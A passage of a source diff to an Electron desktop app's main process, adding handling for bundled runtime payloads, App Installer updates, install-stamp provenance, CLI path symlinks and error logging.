resolveDesktopFeedBaseUrl(): string { + const configured = readUpdatesFeedBaseFromConfig() + if (configured) return configured + const env = process.env.HERMES_DESKTOP_FEED_BASE_URL + if (env) return env + return PLACEHOLDER_FEED_BASE_URL +} + +/** Read `updates.desktop_feed_base_url` from the user's config.yaml. */ +function readUpdatesFeedBaseFromConfig(): string { + try { + const configPath = path.join(HERMES_HOME, 'config.yaml') + if (!fileExists(configPath)) return '' + const raw = fs.readFileSync(configPath, 'utf8') + const match = raw.match(/^\s*desktop_feed_base_url\s*:\s*(.+)\s*$/m) + if (!match) return '' + const value = match[1].trim().replace(/^['"]|['"]$/g, '') + return value + } catch { + return '' + } +} + +/** The updater channel from the baked install stamp ('nightly' vs 'stable'). */ +function resolveUpdaterChannelFromStamp(): 'stable' | 'nightly' { + const tag = INSTALL_STAMP?.tag || '' + return /-nightly\./.test(tag) ? 'nightly' : 'stable' +} + +/** True when this artifact is the light (remote-only) variant. */ +function isLightVariant(): boolean { + return INSTALL_STAMP?.payload === 'light' +} + +/** + * Run a bundled payload python script. The payload python needs the payload + * venv's site-packages on PYTHONPATH to import the winrt module — the same + * way the bundled CLI launcher sets it (the launcher-wrapper.py shebang + * overlay puts the venv's site-packages on sys.path). Without it the + * checker would always fail with "winrt import failed". + */ +async function runPayloadPython(python: string, script: string): Promise<{ code: number; stdout: string }> { + const payload = resolvePayload(process.resourcesPath, { fileExists, directoryExists, isWindows: IS_WINDOWS }) + const env = { ...process.env } + if (payload?.sitePackages) { + env.PYTHONPATH = payload.sitePackages + } + + return new Promise((resolve) => { + const child = spawn(python, [script], { + windowsHide: true, + stdio: ['ignore', 'pipe', 'pipe'], + env + }) + let stdout = '' + let stderr = '' + child.stdout.on('data', chunk => { stdout += chunk.toString() }) + child.stderr.on('data', chunk => { stderr += chunk.toString() }) + child.on('error', (error) => resolve({ code: 1, stdout: JSON.stringify({ available: null, error: error.message }) })) + child.on('close', (code) => { + if (stderr) console.error(`[app-installer] checker stderr: ${stderr.slice(0, 400)}`) + resolve({ code: code ?? 1, stdout }) + }) + }) +} + +/** + * Graceful teardown before the OS App Installer swaps the package: stop the + * primary backend + all pool backends (tree-kill their children) so no + * process keeps files in the install dir locked while Windows replaces it. + * Same primitive the update hand-off uses (stopBackendTreesForUpdate). + */ +async function teardownBundledBackend(): Promise { + const hermesProcess = backendConnectionState.getProcess() + if (hermesProcess || backendPool.size > 0) { + stopBackendTreesForUpdate(hermesProcess, { + forceKillProcessTree, + stopAllPoolBackends + }) + } +} + // Set to true when the desktop is about to quit so a detached swap/install/ // uninstall script can take over. On macOS, app.quit() closes windows but // window-all-closed deliberately keeps the process alive (standard Electron @@ -3634,6 +3750,52 @@ async function applyUpdates(opts: { stopSafeBlockers?: boolean } = {}) { throw new Error('An update is already in progress.') } + // A bundled install ships its whole runtime as a sealed payload — there + // is no checkout to pull or venv to sync. New app release IS the update. + if (resolvePayload(process.resourcesPath, { fileExists, directoryExists, isWindows: IS_WINDOWS })) { + // Out-of-store MSIX installs are App Installer owned: the OS registered + // the .appinstaller URI as the update source at install, so "apply" + // means run the graceful teardown (backend children holding install-dir + // locks must die first — the same teardown the old in-app updater ran + // between download and install), then hand the process to the OS App + // Installer and quit. + if (IS_WINDOWS && !isWindowsStore()) { + const feedBaseUrl = resolveDesktopFeedBaseUrl() + + if (feedBaseUrl) { + emitUpdateProgress({ + stage: 'restart', + message: 'Applying the Hermes update — the window will close and the App Installer will finish.', + percent: 100 + }) + + await triggerAppInstallerUpdate( + feedBaseUrl, + resolveUpdaterChannelFromStamp(), + isLightVariant(), + { openExternal: url => shell.openExternal(url) }, + teardownBundledBackend + ) + + // The OS App Installer now owns the swap. Quit so no process holds + // files in the install dir while Windows replaces the package. + app.quit() + + return { ok: true, manual: false, bundled: true } + } + } + + // No App Installer source (a non-MSIX bundled install, or no feed + // configured): the manual card remains the fallback. + emitUpdateProgress({ + stage: 'manual', + message: 'bundled install: update by installing the new app release', + percent: null + }) + + return { ok: true, manual: true, bundled: true } + } + updateInFlight = true try { @@ -3858,7 +4020,7 @@ async function applyUpdates(opts: { stopSafeBlockers?: boolean } = {}) { ...process.env, HERMES_HOME, HERMES_UPDATE_STARTED_AT: String(updateStartedAt), - PATH: pathWithHermesManagedNode(venvBin) + PATH: pathWithVenvBin(venvBin) }, detached: true, stdio: 'ignore' @@ -3884,7 +4046,7 @@ async function applyUpdates(opts: { stopSafeBlockers?: boolean } = {}) { env: { ...process.env, HERMES_HOME, - PATH: pathWithHermesManagedNode(venvBin) + PATH: pathWithVenvBin(venvBin) }, detached: true, stdio: 'ignore' @@ -3962,6 +4124,17 @@ async function handOffWindowsBootstrapRecovery(reason) { return false } + // A bundled install does not own %LOCALAPPDATA%\hermes — the updater + // would try to heal a tree the app never created. The payload IS the + // runtime; recovery means reinstalling the app, not spawning the + // updater. (ensureRuntime's bundled guard also short-circuits before + // this call; this is the belt-and-suspenders check.) + if (isBundledInstall(process.resourcesPath, { fileExists })) { + rememberLog('[bootstrap] refusing updater recovery hand-off on a bundled install; reinstall the app') + + return false + } + const updater = resolveUpdaterBinary() if (!updater) { @@ -4019,7 +4192,7 @@ async function handOffWindowsBootstrapRecovery(reason) { env: { ...process.env, HERMES_HOME, - PATH: pathWithHermesManagedNode(venvBin) + PATH: pathWithVenvBin(venvBin) }, detached: true, stdio: 'ignore' @@ -4249,7 +4422,7 @@ async function applyUpdatesPosixHandoff(opts: any) { ...process.env, HERMES_HOME, HERMES_UPDATE_STARTED_AT: String(updateStartedAt), - PATH: pathWithHermesManagedNode(path.join(updateRoot, 'venv', 'bin')) + PATH: pathWithVenvBin(path.join(updateRoot, 'venv', 'bin')) }, detached: true, stdio: 'ignore' @@ -4349,7 +4522,32 @@ function activeRuntimeState() { // update`, which moves HEAD legitimately. The marker only attests "a // desktop-managed bootstrap ran here at least once"; runtime usability is // what decides whether we can actually launch. - return classifyActiveRuntime(readBootstrapMarker(), BOOTSTRAP_MARKER_SCHEMA_VERSION, isActiveRuntimeUsable()) + const state = classifyActiveRuntime(readBootstrapMarker(), BOOTSTRAP_MARKER_SCHEMA_VERSION, isActiveRuntimeUsable()) + + // The canonical install stamp (written next to the runtime by the bootstrap) + // tells the UI where this runtime came from. Prefer it over the marker so + // the Runtime row reflects the actual install provenance. + state.canonicalInstallStamp = readCanonicalInstallStamp() + + return state +} + +/** Read the install stamp the bootstrap wrote into the canonical runtime + * root (`ACTIVE_HERMES_ROOT/install-stamp.json`). Returns null when the + * runtime wasn't desktop-bootstrapped (or the file is unreadable). */ +function readCanonicalInstallStamp() { + try { + const raw = fs.readFileSync(path.join(ACTIVE_HERMES_ROOT, 'install-stamp.json'), 'utf8') + const parsed = JSON.parse(raw) + + if (parsed && typeof parsed === 'object' && typeof parsed.source === 'string') { + return parsed + } + + return null + } catch { + return null + } } function writeBootstrapMarker(payload) { @@ -4365,6 +4563,36 @@ function writeBootstrapMarker(payload) { writeFileAtomic(BOOTSTRAP_COMPLETE_MARKER, JSON.stringify(merged, null, 2) + '\n', 'utf8') + // The canonical runtime this bootstrap created is a desktop-managed install + // — write its own install stamp alongside it (the same schema the packagers + // produce, so every surface reads provenance the same way). Unlike the + // artifact stamp this one records where the install CAME from + // (desktop-bootstrap) plus the commit the checkout was pinned to. + try { + const canonicalStamp = { + schemaVersion: 1, + commit: payload.pinnedCommit || null, + branch: payload.pinnedBranch || null, + builtAt: new Date().toISOString(), + dirty: false, + source: 'desktop-bootstrap', + distribution: null, + updateMechanism: 'self', + baseVersion: null, + distance: null, + payload: 'bootstrap', + tag: null + } + + const canonicalStampPath = path.join(ACTIVE_HERMES_ROOT, 'install-stamp.json') + writeFileAtomic(canonicalStampPath, JSON.stringify(canonicalStamp, null, 2) + '\n', 'utf8') + rememberLog(`[bootstrap] wrote canonical install stamp to ${canonicalStampPath}`) + } catch (error) { + // The marker is the hard contract; a failed stamp write is log-worthy but + // must never fail the bootstrap (the runtime itself is already installed). + rememberLog(`[bootstrap] failed to write canonical install stamp: ${error?.message || error}`) + } + return merged } @@ -4582,11 +4810,8 @@ function createPythonBackend(root, label, backendArgs, options: any = {}) { return null } - // The venv whose interpreter we selected is the venv whose site-packages - // belong on PYTHONPATH — findPythonForRoot may have picked `.venv` over - // `venv`, and mixing the two crashes the backend on its first native - // import (see venvRootForPython). Fall back to root/venv only for a - // system python, where the historical layout is the best guess. + // The venv interpreter self-locates (pyvenv.cfg) and `cwd: root` puts the + // checkout first on sys.path for `-m hermes_cli.main`. No PYTHONPATH. const venvRoot = venvRootForPython(python, root) ?? path.join(root, 'venv') const venvPython = getVenvPython(venvRoot) const command = IS_WINDOWS && fileExists(venvPython) ? venvPython : python @@ -4596,14 +4821,14 @@ function createPythonBackend(root, label, backendArgs, options: any = {}) { label, command, args: ['-m', 'hermes_cli.main', ...backendArgs], - env: buildDesktopBackendEnv({ - hermesHome: HERMES_HOME, - pythonPathEntries: [root, ...getVenvSitePackagesEntries(venvRoot)], - venvRoot - }), + env: buildDesktopBackendEnv(), root, bootstrap: Boolean(options.bootstrap), - shell: false + shell: false, + // A resolved local runtime — already on this machine (checkout or + // installed). The setup choice's local card reads this to offer the + // "use existing" variant instead of an install. + local: 'installed' } } @@ -4620,18 +4845,125 @@ function createActiveBackend(backendArgs) { label: `Hermes at ${ACTIVE_HERMES_ROOT}`, command, args: ['-m', 'hermes_cli.main', ...backendArgs], - env: buildDesktopBackendEnv({ - hermesHome: HERMES_HOME, - pythonPathEntries: [ACTIVE_HERMES_ROOT, ...getVenvSitePackagesEntries(VENV_ROOT)], - venvRoot: VENV_ROOT - }), + env: buildDesktopBackendEnv(), root: ACTIVE_HERMES_ROOT, bootstrap: true, - shell: false + shell: false, + local: 'installed' + } +} + +/** + * POSIX bundled installs have no MSIX ExecutionAlias mechanism: put the + * payload's CLI trampolines on the user's PATH by symlinking them into + * ~/.local/bin (created on demand). First-run provision, but idempotent + * and cheap enough to run on every bundled boot: an existing entry of any + * kind is left alone, and every failure (no HOME, EPERM, EROFS...) is + * silent — CLI-on-PATH must never block boot. Windows bundled installs do + * NOT get this: the AppExecutionAlias is the mechanism there. + */ +function provisionPosixCliOnPath(payload: PayloadInfo): void { + const names = ['hermes', 'hermes-agent', 'hermes-acp'] + try { + const binDir = path.join(os.homedir(), '.local', 'bin') + fs.mkdirSync(binDir, { recursive: true }) + let linked = 0 + for (const name of names) { + const source = path.join(payload.root, 'bin', name) + const target = path.join(binDir, name) + // lstat, not exists: a DANGLING symlink from a previous install (the + // .app moved/uninstalled) is exactly the case we want to replace. + if (fs.lstatSync(target, { throwIfNoEntry: false })) { + continue + } + fs.symlinkSync(source, target) + linked += 1 + } + if (linked > 0) { + rememberLog(`[payload] linked ${linked} CLI trampoline(s) into ${binDir}`) + } + } catch (error) { + rememberLog(`[payload] CLI PATH provision skipped: ${error instanceof Error ? error.message : String(error)}`) } } function resolveHermesBackend(backendArgs) { + // 0. Shipped payload — a bundled install carries the whole runtime under + // resources/agent-payload (staged by `hermes pm bundle`). The venv's + // interpreter self-locates: adoptPayloadVenv() verifies the store + // python + site-packages resolve (no pyvenv.cfg write — read-only + // MSIX-safe), and HERMES_RUNTIME_DIR aims pm at the payload store. + // Nothing installs on the user machine. + const payload = resolvePayload(process.resourcesPath, { + fileExists, + directoryExists, + isWindows: IS_WINDOWS + }) + + if (payload && adoptPayloadVenv(payload, { isWindows: IS_WINDOWS, log: rememberLog })) { + if (bootstrapRepairRequested) { + // A bundled payload is immutable — repair means "reinstall the app". + rememberLog('[payload] repair requested on a bundled install; the payload is read-only — ignoring') + } + + // POSIX-only, silent best-effort: symlink the CLI trampolines out to + // ~/.local/bin (the ExecutionAlias covers this on Windows). + if (!IS_WINDOWS) { + provisionPosixCliOnPath(payload) + } + + // Bundled builds run the STORE python via the self-relative CLI + // launcher (bin/hermes.exe on win32, bin/hermes on POSIX — works on + // read-only MSIX, no pyvenv.cfg write). The launcher sets PYTHONPATH + // to the payload's repo + venv site-packages itself, so the backend + // needs only the managed-tools dir from us. + return { + kind: 'python', + label: `bundled payload at ${payload.root}`, + command: payload.shim, + args: [...backendArgs], + env: { + ...buildDesktopBackendEnv(), + HERMES_RUNTIME_DIR: payload.toolsDir + }, + root: payload.repoDir, + bootstrap: false, + shell: false, + local: 'bundled' + } + } + + // A bundled artifact that failed to resolve must NEVER fall through the + // ladder to bootstrap-needed: the payload IS the local Hermes, it is + // immutable (sealed at build time, often read-only MSIX), and running + // install.ps1 would download and install a SECOND, separate Hermes into + // the user's machine on top of one the app already carries. Skip ALL + // remaining local rungs — explicit dev overrides included; a developer + // who wants a checkout should run a non-bundled build + // (HERMES_DESKTOP_VARIANT unset → external stub → not bundled). The + // payload-healthy path above returns before this guard, so a working + // bundle is unaffected. + if (isBundledInstall(process.resourcesPath, { fileExists })) { + rememberLog( + '[bootstrap] bundled payload missing or damaged; REFUSING to run the installer — reinstall the app to restore the runtime' + ) + + return { + kind: 'bundled-unusable', + label: 'The Hermes runtime bundled with this app is missing or damaged; reinstall the app', + command: null, + args: backendArgs, + bootstrap: false, + env: {}, + shell: false, + activeRoot: ACTIVE_HERMES_ROOT, + installStamp: INSTALL_STAMP, + isPackaged: IS_PACKAGED, + platform: process.platform, + local: 'bundled-damaged' + } + } + // 1. Explicit override -- HERMES_DESKTOP_HERMES_ROOT points at a developer // checkout. Honour it as-is (no bootstrap; the user is driving). const overrideRoot = process.env.HERMES_DESKTOP_HERMES_ROOT && path.resolve(process.env.HERMES_DESKTOP_HERMES_ROOT) @@ -4680,109 +5012,57 @@ function resolveHermesBackend(backendArgs) { rememberLog('[bootstrap] repair requested; bypassing the usable active runtime to re-run the installer') } - // 4. Existing `hermes` on PATH -- installed via install.ps1 / install.sh from - // a previous tool-only setup, or pip-installed system-wide. Use it but - // do NOT write a bootstrap marker; the user did this themselves and we - // don't want to take ownership of an install we didn't perform. - // HERMES_DESKTOP_IGNORE_EXISTING=1 forces the bootstrap path for testing. - if (process.env.HERMES_DESKTOP_IGNORE_EXISTING !== '1') { - let hermesCommand = null - const hermesOverride = process.env.HERMES_DESKTOP_HERMES + // 4. HERMES_DESKTOP_HERMES — an explicit deployment override (used by the + // Nix wrapper), not a discovered PATH candidate. The pinned backend is + // the only valid runtime there; never fall through to bootstrap for it. + const hermesOverride = process.env.HERMES_DESKTOP_HERMES + let hermesCommand = null - if (hermesOverride) { - const resolvedOverride = findOnPath(hermesOverride) + if (hermesOverride) { + const resolvedOverride = findOnPath(hermesOverride) - if (resolvedOverride) { - hermesCommand = resolvedOverride - } else if (!isWindowsBinaryPathInWsl(hermesOverride, { isWsl: IS_WSL })) { - hermesCommand = hermesOverride - } else { - rememberLog(`Ignoring Windows Hermes override under WSL: ${hermesOverride}`) - } + if (resolvedOverride) { + hermesCommand = resolvedOverride + } else if (!isWindowsBinaryPathInWsl(hermesOverride, { isWsl: IS_WSL })) { + hermesCommand = hermesOverride } else { - hermesCommand = findOnPath('hermes') + rememberLog(`Ignoring Windows Hermes override under WSL: ${hermesOverride}`) } if (hermesCommand) { if (looksLikeDesktopAppBinary(hermesCommand)) { rememberLog(`Ignoring desktop app executable on PATH while resolving Hermes CLI: ${hermesCommand}`) hermesCommand = null - } - } + } else { + const unwrapped = unwrapWindowsVenvHermesCommand(hermesCommand, backendArgs) - if (hermesCommand) { - const unwrapped = unwrapWindowsVenvHermesCommand(hermesCommand, backendArgs) - - if (unwrapped) { - return unwrapped - } - - // Smoke-test the candidate before trusting it. A `hermes` shim - // left behind by a half-uninstalled pip install (or a venv - // entry-point pointing at a deleted interpreter) still resolves - // via findOnPath but explodes on spawn -- the user then sees a - // dead backend instead of the first-launch installer. The cheap - // `--version` probe (see backend-probes.ts) catches that case - // and lets the resolver fall through to step 6 / bootstrap. - const shellForProbe = isCommandScript(hermesCommand) - - // HERMES_DESKTOP_HERMES is an explicit deployment override (used by - // the Nix wrapper), not a discovered PATH candidate. It must not fall - // through to the install-script bootstrap if the optional probe times - // out under load; the pinned backend is the only valid runtime there. - if (shouldTrustHermesOverride(hermesOverride) || verifyHermesCli(hermesCommand, { shell: shellForProbe })) { - // `unwrapped` above already answered "is this a Windows venv shim?" — - // it was null (not a shim, or its import probe failed). Do NOT re-run - // unwrapWindowsVenvHermesCommand here: the second call repeats the - // same un-memoized import probe, costing up to another full probe - // timeout on the boot path for an answer we already have. - return { - label: `existing Hermes CLI at ${hermesCommand}`, - command: hermesCommand, - args: backendArgs, - bootstrap: false, - env: {}, - kind: 'command', - shell: shellForProbe + if (unwrapped) { + return unwrapped } - } - rememberLog( - `Ignoring existing Hermes CLI at ${hermesCommand}: --version probe failed; falling through to bootstrap.` - ) + const shellForProbe = isCommandScript(hermesCommand) + + if (shouldTrustHermesOverride(hermesOverride) || verifyHermesCli(hermesCommand, { shell: shellForProbe })) { + return { + label: `existing Hermes CLI at ${hermesCommand}`, + command: hermesCommand, + args: backendArgs, + bootstrap: false, + env: {}, + kind: 'command', + shell: shellForProbe, + local: 'installed' + } + } + + rememberLog( + `Ignoring existing Hermes CLI at ${hermesCommand}: --version probe failed; falling through to bootstrap.` + ) + } } } - // 5. Last-ditch: pip-installed hermes_cli module via system Python. - // Same rationale as #4 -- the user installed this; we use it but don't - // take ownership. - const python = findSystemPython() - - if (python) { - // Same smoke-test rationale as step 4: a system Python in the - // SUPPORTED_VERSIONS range can be registered (PEP 514) without - // having hermes_cli installed -- common on dev boxes that have - // a python.org install from prior unrelated work. Returning that - // backend hands the spawn step a guaranteed ModuleNotFoundError. - // Verify the import works before trusting the candidate; on - // failure, fall through to step 6 so the bootstrap runner pulls - // a uv-managed 3.11 into %LOCALAPPDATA%\hermes\hermes-agent\venv. - if (canImportHermesCli(python)) { - return { - kind: 'python', - label: `installed hermes_cli module via ${python}`, - command: python, - args: ['-m', 'hermes_cli.main', ...backendArgs], - bootstrap: false, - env: {}, - shell: false - } - } - - rememberLog(`Ignoring system Python ${python}: hermes_cli is not importable; falling through to bootstrap.`) - } - - // 6. Nothing usable yet -- signal the bootstrap runner that we need to + // 5. Nothing usable yet -- signal the bootstrap runner that we need to // clone+install. Phase 1D's bootstrap-runner consumes this sentinel // and drives install.ps1 stages with a progress UI. Until 1D lands, // callers see the sentinel and surface it as a user-facing error @@ -4804,7 +5084,8 @@ function resolveHermesBackend(backendArgs) { activeRoot: ACTIVE_HERMES_ROOT, installStamp: INSTALL_STAMP, // may be null in dev isPackaged: IS_PACKAGED, - platform: process.platform + platform: process.platform, + local: 'none' } } @@ -4824,6 +5105,39 @@ async function ensureRuntime(backend) { // (renderer window isn't created until later in startBackend). Phase 1E // will rewire startup to spawn the window first and route bootstrap events // to a renderer-side install overlay. + // + // Defense in depth: a bundled artifact must NEVER reach this branch. The + // resolver's bundled-unusable sentinel is the primary guard; this check + // covers any future path that produces bootstrap-needed on a bundled + // install (e.g. a stale repair flag racing the resolver). + if (backend.kind === 'bootstrap-needed' && isBundledInstall(process.resourcesPath, { fileExists })) { + rememberLog('[bootstrap] REFUSING installer on a bundled install; payload missing or damaged — reinstall the app') + + const bundledError: Error & { isBootstrapFailure?: boolean } = new Error( + 'This app bundles its own Hermes runtime, but the runtime files are missing or damaged. Reinstall Hermes Desktop to restore it.' + ) + + bundledError.isBootstrapFailure = true + bootstrapFailure = bundledError + throw bundledError + } + + // A bundled install whose payload failed to resolve. The payload is the + // ONLY local runtime a bundle has (immutable, sealed at build time), so + // there is nothing to install or repair here — reinstall the app. The + // setup gate still lets the user connect to a REMOTE Hermes. + if (backend.kind === 'bundled-unusable') { + rememberLog('[bootstrap] bundled payload is unusable; no installer path exists — reinstall the app') + + const bundledError: Error & { isBootstrapFailure?: boolean } = new Error( + 'This app bundles its own Hermes runtime, but the runtime files are missing or damaged. Reinstall Hermes Desktop to restore it.' + ) + + bundledError.isBootstrapFailure = true + bootstrapFailure = bundledError + throw bundledError + } + if (backend.kind === 'bootstrap-needed') { rememberLog('[bootstrap] no Hermes install found; starting first-launch bootstrap') @@ -4934,21 +5248,6 @@ async function ensureRuntime(backend) { ) } - // On Windows, preflight Git Bash. Hermes' terminal tool calls bash.exe - // directly (tools/environments/local.py); without it the agent can't run - // terminal commands. install.ps1's Stage-Git puts PortableGit at - // %LOCALAPPDATA%\hermes\git\, which findGitBash() picks up, so for any - // user who completed the bootstrap this is a no-op. For users who got - // here via an external `hermes` on PATH, this check still helps. - if (IS_WINDOWS && !findGitBash()) { - throw new Error( - 'Git for Windows is required for Hermes on Windows (provides Git Bash, ' + - "which the agent's terminal tool uses). Install it from " + - 'https://git-scm.com/download/win or run `winget install -e --id Git.Git`, ' + - 'then relaunch Hermes.' - ) - } - const venvPython = getVenvPython(VENV_ROOT) if (!fileExists(venvPython)) { @@ -12726,7 +13025,7 @@ function wireCommonWindowHandlers(win, { zoom = true }: { zoom?: boolean } = {}) installContextMenuBridge(win) win.webContents.setWindowOpenHandler(details => { - openExternalUrl(details.url) + void openExternalUrl(details.url) return { action: 'deny' } }) @@ -12736,7 +13035,7 @@ function wireCommonWindowHandlers(win, { zoom = true }: { zoom?: boolean } = {}) } event.preventDefault() - openExternalUrl(url) + void openExternalUrl(url) }) } @@ -14491,6 +14790,17 @@ ipcMain.handle('hermes:bootstrap:reset', async () => { return { ok: true } }) ipcMain.handle('hermes:bootstrap:repair', async () => { + // A bundled install's payload is immutable and sealed at build time — + // "repair" would re-run the installer against a separate + // %LOCALAPPDATA%\hermes tree the app doesn't own. The only repair for a + // damaged bundle is reinstalling the app itself. Refuse without touching + // bootstrapRepairRequested so a stale renderer can't drive an install. + if (isBundledInstall(process.resourcesPath, { fileExists })) { + rememberLog('[bootstrap] repair refused on a bundled install; repair means reinstalling the app') + + return { ok: false, error: 'bundled-immutable' } + } + // Forceful repair: force the next startHermes() through the full installer // (refreshing a broken/partial venv) and clear any latched failure + live // connection. The renderer reloads afterwards to re-drive the boot flow. @@ -15336,7 +15646,21 @@ ipcMain.handle('hermes:connection-config:oauth-login', async (_event, rawUrl) => if (strategy === 'native') { try { const tokens = await runNativeLogin(baseUrl, { - openExternal: url => shell.openExternal(url), + // Route the browser-open through the single external-open path so it + // gets the WSL handling and the open-failure modal. Fail fast (throw) + // so runNativeLogin reports the real reason instead of waiting out the + // loopback timeout. + openExternal: async url => { + const result = await openExternalUrl(url) + + if (result.ok === false) { + throw new Error( + result.reason === 'failed' && result.message + ? result.message + : 'Could not open the system browser for native sign-in' + ) + } + }, postJson: (url, body, opts) => postJsonNoAuth(url, body, opts), rememberLog }) @@ -16017,6 +16341,20 @@ async function handleHermesApiRequest(request) { return response } +// Format an api-request failure for desktop.log. The renderer only ever sees +// the invoke rejection; the real stack lives here in main, so persist it +// before rethrowing. Clamp: paths and error detail must not bloat the log. +function formatApiRequestFailure( + request: { method?: string; path?: string } | null | undefined, + error: unknown +): string { + const method = String(request?.method ?? 'GET').toUpperCase() + const path = String(request?.path ?? '(no path)').slice(0, 500) + const detail = error instanceof Error ? (error.stack ?? error.message) : String(error) + + return `[hermes:api ${method} ${path}] ${detail}`.slice(0, 6000) +} + ipcMain.handle('hermes:api', async (_event, request) => { // Hold the deletion gate for BOTH profile deletes and renames: a concurrent // renderer reconnect entering ensureBackend() mid-mutation would otherwise @@ -16025,26 +16363,34 @@ ipcMain.handle('hermes:api', async (_event, request) => { const mutatingProfile = deletingProfile || profileRenameFromRequest(request)?.oldName || null const registryConnectionId = apiRequestRegistryConnectionId(request) - if (deletingProfile && registryConnectionId) { - return dispatchConnectionScopedProfileDelete(request, { - acquire: profile => profileDeletionGate.acquire(profile), - connectionKind: connectionId => registryConnectionKind(connectionId), - dispatch: routeProfile => - dispatchRegistryApiRequest(request, registryConnectionId, routeProfile, deletingProfile), - isDefaultProfile: profile => profile === 'default', - isValidProfileName: profile => PROFILE_NAME_RE.test(profile), - prepareLocal: localRequest => prepareProfileDeleteRequest(localRequest).then(() => undefined), - teardownConnection: (connectionId, profile) => teardownConnectionScopedProfileBackend(connectionId, profile) - }) + try { + if (deletingProfile && registryConnectionId) { + return await dispatchConnectionScopedProfileDelete(request, { + acquire: profile => profileDeletionGate.acquire(profile), + connectionKind: connectionId => registryConnectionKind(connectionId), + dispatch: routeProfile => + dispatchRegistryApiRequest(request, registryConnectionId, routeProfile, deletingProfile), + isDefaultProfile: profile => profile === 'default', + isValidProfileName: profile => PROFILE_NAME_RE.test(profile), + prepareLocal: localRequest => prepareProfileDeleteRequest(localRequest).then(() => undefined), + teardownConnection: (connectionId, profile) => teardownConnectionScopedProfileBackend(connectionId, profile) + }) + } + + if (!mutatingProfile) { + return await handleHermesApiRequest(request) + } + + const releaseProfileDeletion = profileDeletionGate.acquire(mutatingProfile) + + return await handleHermesApiRequest(request).finally(releaseProfileDeletion) + } catch (error) { + // Persist the failure (full stack) before the rejection crosses to the + // renderer, where the invoke wrapper strips it to a one-line message. + rememberLog(formatApiRequestFailure(request, error)) + flushDesktopLogBufferSync() + throw error } - - if (!mutatingProfile) { - return handleHermesApiRequest(request) - } - - const releaseProfileDeletion = profileDeletionGate.acquire(mutatingProfile) - - return handleHermesApiRequest(request).finally(releaseProfileDeletion) }) // One deduper per cross-window cue — the choke point every window shares. Main @@ -16680,8 +17026,10 @@ ipcMain.on('hermes:devtools:disable-f12', (_event, on) => { } }) -ipcMain.handle('hermes:openExternal', (_event, url) => { - if (!openExternalUrl(url)) { +ipcMain.handle('hermes:openExternal', async (_event, url) => { + const result = await openExternalUrl(url) + + if (result.ok === false && result.reason === 'invalid') { throw new Error('Invalid external URL') } }) @@ -16825,6 +17173,21 @@ ipcMain.on('hermes:logs:renderer-error', (_event, report) => { flushDesktopLogBufferSync() }) +// Renderer error toasts (notifyError): the toast shows the summarized copy, +// so the caller posts the full error here for desktop.log. Fire-and-forget, +// like renderer-error — the toast must never depend on this round-trip. +// Clamp: the line is renderer-supplied. +ipcMain.on('hermes:logs:renderer-line', (_event, line) => { + const text = typeof line === 'string' ? line.slice(0, 6000) : '' + + if (!text) { + return + } + + rememberLog(text) + flushDesktopLogBufferSync() +}) + // Local filesystem + plugin-root IPC (readDir/reveal/rename/trash/…) — see fs-ipc.ts. registerFsIpc({ hermesHome: HERMES_HOME, @@ -16936,16 +17299,102 @@ ipcMain.handle('hermes:version', async () => { const skew = await detectRendererSkew() return { - appVersion: resolveHermesVersion(), + ...resolveHermesVersionInfo(), electronVersion: process.versions.electron, nodeVersion: process.versions.node, platform: process.platform, hermesRoot: resolveUpdateRoot(), bundleOutOfSync: skew.outOfSync, - bundleCommitsBehind: skew.desktopCommitsBehind + bundleCommitsBehind: skew.desktopCommitsBehind, + // The install id: sha16 of the canonical install-root path — the key of + // this install's per-install channel record and its installs// state + // folder. Same value `hermes update --install-id` prints; About renders it + // as `sha16 (path)`. + installId: installIdForRoot(resolveUpdateRoot(), canonicalizeInstallPath), + // What this build carries and where an external backend runs from. + // Bundled artifacts always run their payload; light artifacts have no + // runtime and only reach remote backends. External builds classify from + // the install stamp (git/docker/nix), 'unknown' when it can't be told. + hermesRuntime: resolveHermesRuntime() } }) +/** Build provenance read from the install stamp — the same facts the CLI + * reports. Falls back to the bare app version when there's no stamp. */ +function resolveHermesVersionInfo() { + // The baked build-time constant is typed more narrowly than a full stamp + // loaded from disk; cast to the full shape so every provenance field is + // readable on either source. + const stamp = INSTALL_STAMP as InstallStamp | null + + if (stamp) { + return { + appVersion: resolveHermesVersion(), + baseVersion: stamp.baseVersion ?? undefined, + distance: stamp.distance ?? undefined, + commit: stamp.commit, + branch: stamp.branch, + source: stamp.source ?? undefined, + distribution: stamp.distribution ?? undefined, + dirty: stamp.dirty + } + } + + return { appVersion: app.getVersion(), baseVersion: app.getVersion() } +} + +// Python's Path.resolve() equivalent for install-id derivation: realpath when +// the path exists, plain resolve otherwise. Must stay byte-compatible with +// boot_bootstrap._install_key or the CLI and the app would compute two +// different ids for one install. +function canonicalizeInstallPath(p: string): string { + try { + return fs.realpathSync(p) + } catch { + return path.resolve(p) + } +} + +/** Classify what this build carries (embedded / light / external). The stamp's + * `payload` decides the first two; an external build classifies its root via + * the canonical-root install stamp (desktop-bootstrapped) or the app stamp's + * `source`, so About's Runtime row names git/docker/nix/desktop-bootstrap + * instead of a bare "external". */ +function resolveHermesRuntime() { + const stamp = INSTALL_STAMP as InstallStamp | null + + if (stamp?.payload === 'light') { + return { type: 'light' } + } + + if (stamp?.payload === 'bundled') { + return { type: 'embedded' } + } + + const root = resolveUpdateRoot() + const canonicalStamp = activeRuntimeState().canonicalInstallStamp + + if (canonicalStamp?.source === 'desktop-bootstrap') { + return { type: 'desktop-bootstrap', root } + } + + const source = stamp?.source + + if (source === 'git') { + return { type: 'git', root } + } + + if (source === 'nix') { + return { type: 'nix', root: null } + } + + if (source === 'docker') { + return { type: 'docker', root: null } + } + + return { type: 'unknown' } +} + // =========================================================================== // Uninstall — remove the Chat GUI (and optionally the agent / user data). // =========================================================================== @@ -17226,6 +17675,18 @@ function handleDeepLink(url) { }) const payload = { kind, name, params } + // Route the Windows Copilot hardware key (registered by the MSIX + // copilotkeyprovider fragment). quick-entry is the eventual summon; for + // now it falls through to the renderer's deep-link listener. stop and + // unknown copilot-key paths are activation noise and must not reach the + // renderer (a tap fires start+stop nearly together; acting on stop would + // undo the summon). + if (kind === 'copilot-key' && name !== 'start') { + rememberLog(`[deeplink] ignoring copilot-key path: ${name}`) + + return + } + if (!_rendererReadyForDeepLink || !mainWindow || mainWindow.isDestroyed()) { _pendingDeepLink = payload diff --git a/apps/desktop/electron/payload-backend.test.ts b/apps/desktop/electron/payload-backend.test.ts new file mode 100644 index 0000000000..0e650dd8d2 --- /dev/null +++ b/apps/desktop/electron/payload-backend.test.ts @@ -0,0 +1,196 @@ +import assert from 'node:assert/strict' 